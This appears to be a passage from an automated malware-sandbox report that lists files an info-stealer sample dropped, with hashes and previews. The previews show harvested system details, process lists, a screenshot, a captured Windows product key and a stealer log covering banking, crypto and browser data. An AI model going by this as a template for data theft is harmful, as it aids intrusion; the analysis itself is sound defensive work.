SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\System\Desktop.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	138362
Entropy (8bit):	7.793237652212276
Encrypted:	false
SSDEEP:	3072:mwddRPcWEqxp6EBUsCmigOQEeHZIuLDioJQ:mQ8Exp6E2npAWoDiom
MD5:	F2944CD0ADF5B4649E56543E8EFDA705
SHA1:	DB21B1B700EE905F428B0FC19DE6EEAA9C182019
SHA-256:	CA4843F08A0342ECCD14A1E66455BA999688F56742719EB760AD1B3D83A5C681
SHA-512:	F05D0F3511B16C6C42ADB73029CADB523B8B01E7B2880BB28376EF2C24169E73706F0528B4649D32FCE62F99DFAABBAA358B41DE123867DAC81D13C98890CC77
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....Hc..............z.g..E.....-$o.?..\..<K.?..@.j..t..KT.Q.).......P...3.E.=.;..c...q.Q....n.mlc.]..o.$..@...<.`O......w....6.l..B.... *.z0..^'.m-V..;F..-.t..W'.Np09=..5./.iQH...#...Zu.(.....H..-..)43.5.O..R.(..Pwg9.@.....(...(...(...(...(...(...(...(...(....i..j/....R..h....A.F..Zj.].2.Gm'..m..p.........t.3.....+z.j..QEc....G._..?.5...~~U\|.~)...(...(

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23875
Entropy (8bit):	5.752036530330512
Encrypted:	false
SSDEEP:	384:qQT6QlSgk/m4kBlqE3Ori7TIRoK0tiO186vDdu6i4KSgFjDkbEc1CgkhKzP3aoHd:nTjdgGbE0CqHeXMr5
MD5:	95005411A515FCAF2604A1160AE957FE
SHA1:	BE1484A476189DDB1BFA07F6C93FE48FF96B3EF7
SHA-256:	C0B079D63F448D1AE237BA69AC451ED6341879A4481BF8B57B53AD268DFE01AB
SHA-512:	4573412995BA2EF4B732B79764A84BBA5A788B0958AC724CA7202D85B3B615B613EA25C9CF9D530206A26A8DAC8208CE22CB3D20F510E3B06FB780340CAB8FE1
Malicious:	false
Preview:	NAME: chrome..PID: 7756..EXE: C:\Program Files\Google\Chrome\Application\chrome.exe..NAME: svchost..PID: 2152..EXE: C:\Windows\system32\svchost.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..PID: 3012..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeuMXZt\ubCYZRtAVcJNwwwqRjPTjNJD.exe..NAME: RuntimeBroker..PID: 4732..EXE: C:\Windows\System32\RuntimeBroker.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..PID: 6024..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeuMXZt\ubCYZRtAVcJNwwwqRjPTjNJD.exe..NAME: csrss..PID: 420..EXE: ..NAME: tmp1201676045..PID: 5268..EXE: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe..NAME: chrome..PID: 7308..EXE: C:\Program Files\Google\Chrome\Application\chrome.exe..NAME: svchost..PID: 5152..EXE: C:\Windows\system32\svchost.exe..NAME: chrome..PID: 7428..EXE: C:\Program Files\Google\Chrome\Application\chrome.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..PID: 3856..EXE: C:\Program Files (x86)

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.5905710812598666
Encrypted:	false
SSDEEP:	3:j9iyWYn0ib3vkI:BRWYnbgI
MD5:	C2C0F7A477609E0B92593455CDA1ABBF
SHA1:	DC132E5C5324C85AAEA3A33A46E5B5BC2C04C9A7
SHA-256:	608E2D29D45E13F79825FD47C2D78E3FE993087AECA650C5E0F2F90CACB2317B
SHA-512:	F9A50E7EFFB41CD438DCA9220B232B9E494E1EDDC96F4A32DBB75E8BE808BB1DACA7C814FE75F555BF51AB21556DFA601B10CE49314A0DAF94A6D3FA3E66C9F2
Malicious:	false
Preview:	97XGW-NQFT6-GBQGW-RBJTT-JG7QT

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\System\Systeminfos.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	959
Entropy (8bit):	5.4852369855406495
Encrypted:	false
SSDEEP:	12:RuXYsu4gxyIYYrNwOSTSb2gwPRbVhNsA6tniNH9wAH9irFUqfPHSGm78DpKNEyKt:oYsvYyebvwP/h1CiPwoiewy1oNRyGTX
MD5:	3A1B74A31D8FF201F60FA5D8AAE825C1
SHA1:	7BC6C6B3FD13B0CE0EAEAD90753C96CFDCAF93F5
SHA-256:	3014315B90865E805525DAF588E7A47DFB18F82A005D8110F284962F38AF0E9B
SHA-512:	8512EDE4677FD917340BB62B193F5AE960A6368B423A5A0C1789980C40EB54046C17A2D3F72CB026CAF366FB8A4A0A1665C08F2B636375E9010B4FA0CC26A7BB
Malicious:	false
Preview:	. .. 8==3 - Report:.Date: 2025-01-11 5:31:23 am.System: Windows 10 Pro (64 Bit).Username: user.CompName: 124406.Language: .... en-CH.Antivirus: Windows Defender... .. Hardware:.CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: 3193X5.RAM: 4095MB.HWID: 9D932ED301.Power: NoSystemBattery (1%).Screen: 1280x1024.. .. Network: .Gateway IP: 192.168.2.1.Internal IP: No network adapters with an IPv4 address in the system!.External IP: 8.46.123.189.BSSID: 00:50:56:a7:21:15.. .. Domains info:. . .. Banking services (No data). . .. Cryptocurrency services (No data). . .. Porn websites (No data).. .. Browsers:. . . History: 1. . .. Bookmarks: 5.. .. Software:.. .. Device:. . .. Windows product key. . .. Desktop screenshot.. .. Installation:. . .. Startup disabled. . .. Clipper not installed. . .. Keylogger not installed.. .. File Grabber:.

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19283
Entropy (8bit):	5.704759510226571
Encrypted:	false
SSDEEP:	384:ADvVa4sZugK/dSY/Oz6DCgSg9DJn2tniwLhGCcwy4LL/ZcJNIPtgiYDqNGfwXA0y:it
MD5:	D7D62AA295A0E10BE87B3ED9A114C4E7
SHA1:	3E5C37AC5BEC17DA2B921E809A294A9AB513D0A2
SHA-256:	4BB980F01805A090EDC2A46BA2794ACB3BC5EE91ABA883D69D2DFD328F68432E
SHA-512:	584F3A498E3AEDFDE3CC5799B6F15C9A9F7A12B144D3C4881EA70F300811779200DEA6D731A8C77A5DF62B616406AEAECFD22B06A3778826FEC15053F555249E
Malicious:	false
Preview:	NAME: ubCYZRtAVcJNwwwqRjPTjNJD..TITLE: New Tab - Google Chrome..PID: 3012..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeuMXZt\ubCYZRtAVcJNwwwqRjPTjNJD.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..TITLE: New Tab - Google Chrome..PID: 6024..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeuMXZt\ubCYZRtAVcJNwwwqRjPTjNJD.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..TITLE: New Tab - Google Chrome..PID: 3856..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeuMXZt\ubCYZRtAVcJNwwwqRjPTjNJD.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..TITLE: New Tab - Google Chrome..PID: 6804..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeuMXZt\ubCYZRtAVcJNwwwqRjPTjNJD.exe..NAME: ubCYZRtAVcJNwwwqRjPTjNJD..TITLE: New Tab - Google Chrome..PID: 1264..EXE: C:\Program Files (x86)\YhOGtadIpspZrNBnqSQFVUVvhbcNoVgWNssMtfrcclFItewgITkprOeERnSGkOqTBGxeu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jan 11 06:41:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974571565891521
Encrypted:	false
SSDEEP:	48:8Jd1TdtpHuidAKZdA19ehwiZUklqeh2y+3:85DeBy
MD5:	C4A7F5A9E7D7393727E5D6DB6ABBA2F1
SHA1:	2737430A90641D94E38457E07246FCA539572774
SHA-256:	53F3F6CA1D4F99DC5059636811B2C5542F9913CE433441B4ED0B0F35A1E7F478
SHA-512:	33D262E11E52F614588D5BA2328C8CA0EEA3A63AB340C99AB6BB33264031E25A3D6468318787CA4CFF7DE670A371321D0BE2B8FB2B13639F0CB11F04DB398057
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......F.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I+Z8=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Z8=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Z8=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Z8=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Z:=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jan 11 06:41:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991614932660106
Encrypted:	false
SSDEEP:	48:8Mxd1TdtpHuidAKZdA1weh/iZUkAQkqehxy+2:8MRD89QEy
MD5:	8D5D439168BD33299D3CAE8741D7E6A0
SHA1:	3B76A301DF3B999F5ACDF761E14E7AAA8B6EBBEE
SHA-256:	20AEA3E55BCE6D1B6FB00A25E0FBD09CAB39264540D4768ED4B93779636E3BDC
SHA-512:	31FFA946A037C0070C4708D5A62871E54AA3F271B748A8C8EC43DFD12C354E9439E5F708E450BF67A0C2AADB8DC5A26083635F141451E9A71A79A3122B7242CE
Malicious:	false
Preview:	L..................F.@.. ...$+.,......F.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I+Z8=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Z8=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Z8=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Z8=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Z:=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005187038344803
Encrypted:	false
SSDEEP:	48:8xOd1TdtsHuidAKZdA14tseh7sFiZUkmgqeh7sny+BX:8xAD7ndy
MD5:	4E4E78A8DD3597565D6343E2C139CB2E
SHA1:	1296DFC2BEE018FE912DCB2592A7FABFA70B25C8
SHA-256:	45B0E86B206E9170F2003558EF91008B15158848726BF86AA32A88E193C28543
SHA-512:	01680A1F6E777E8A90271AF08305261B4CE41AB69C2D51CB00A4EFAFFEE1569AF76CCB3C3B6747E30008B9B65F211EA33A8568C0C7E00D6EC3EBA211C3A9EED9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I+Z8=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Z8=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Z8=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Z8=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jan 11 06:41:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992371072239418
Encrypted:	false
SSDEEP:	48:87d1TdtpHuidAKZdA1vehDiZUkwqehFy+R:8LDHvy
MD5:	78D723E9BB334F3ABC79A1C841A01837
SHA1:	F73DF7CBC3DBE2BC0876D8C3D8074FB5BBF00778
SHA-256:	7A09660F5D67EE279F35E3025BBA8EA34109210B1E51D8F88E60EA2A73E2BDBD
SHA-512:	35DAE8A400C9DD65D0E8A98217E43C58D022FD7D261864BC324079EF6F4D59DDE0A5D99E6CBFC47FE9924AE8A0E2476F0D149747C68293D97F3D4F0BE044AF82
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......F.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I+Z8=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Z8=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Z8=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Z8=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Z:=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jan 11 06:41:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9773276001243474
Encrypted:	false
SSDEEP:	48:8Md1TdtpHuidAKZdA1hehBiZUk1W1qehTy+C:82D39zy
MD5:	4863625614DFEF6081B34452A02D1F8F
SHA1:	7210E2349168FEB96E46AB5BA652BBF8ECFE9D10
SHA-256:	1B6DF012F17CD5B0FF645DA3F29639EF75E23E04991A2FB95BAEBD107915A0B2
SHA-512:	F64D2070679EC5DE542D4142A4CBD9F49F8E27A57F295BA2705B05347F2088FBC2C6C58F75CE0D461729BCA75595BC7D10B237CF6BDA3D39E6E570E9002EC9B9
Malicious:	false
Preview:	L..................F.@.. ...$+.,....w\.F.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I+Z8=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Z8=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Z8=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Z8=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Z:=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jan 11 06:41:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9912741328496093
Encrypted:	false
SSDEEP:	48:8x/d1TdtpHuidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbdy+yT+:81D/T/TbxWOvTbdy7T
MD5:	E9700CACADB41B5AF1F8E03E0DC7C626
SHA1:	5FF5A3B34FA1EA8752F91495D199C8774A53FF57
SHA-256:	F36C9B44E1AAD7B4D2C69D3CC0E49CED7A8C2F12A409CB4FB8055C40E8768C7E
SHA-512:	BCCBD3188C0B448CFBB3CD5A661788FD7D263F742943C76ED2ADF9E0F20AFD03613EB9496EBA293ACC14591D2692C5E504AC673B5AE949CBDB475DAF857270FD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....`.F.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I+Z8=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Z8=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Z8=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Z8=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Z:=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 